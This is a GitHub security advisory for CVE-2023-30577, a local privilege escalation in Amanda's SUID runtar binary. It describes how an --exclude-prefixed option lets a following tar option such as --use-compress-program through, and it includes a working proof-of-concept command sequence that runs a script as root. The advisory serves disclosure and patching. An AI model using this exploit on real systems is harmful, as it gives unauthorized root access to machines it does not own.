Skip to content

Local privilege escalation

High
flex-developments published GHSA-crrw-v393-h5q3 Jul 26, 2023

Package

amanda

Affected versions

< 3.5.3

Patched versions

3.5.4

Description

Summary

To exploit this vulnerability one must have an access to the unprivileged backup user and craft arguments to the SUID runtar binary.

Details

The SUID binary "runtar" can accept the possibly malicious GNU tar options if fed with some non-argument option starting with "--exclude" (say --exclude-vcs). The following option will be accepted as "good" and it could be an option passing some script/binary that would be executed with root permissions.

The problematic code is located in client-src/runtar.c file. The patch is available at your request.

I've registered CVE-2023-30577 at MITRE for this vulnerability.

PoC

$ whoami
backup

$ ls -l /usr/local/libexec/amanda/runtar
-rwsr-x--- 1 root backup 25984 Apr 14 12:01 /usr/local/libexec/amanda/runtar

$ cat /tmp/poc-id.sh
#!/bin/sh
whoami > /tmp/poc-id.out
chmod 666 /tmp/poc-id.out

$ /usr/local/libexec/amanda/runtar NOCONFIG tar --create --file /dev/null --exclude-vcs --use-compress-program /tmp/poc-id.sh /dev/null
tar: Removing leading `/' from member names

$ cat /tmp/poc-id.out
root

Impact

Local privilege escalation.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N

CVE ID

CVE-2023-30577

Weaknesses

Credits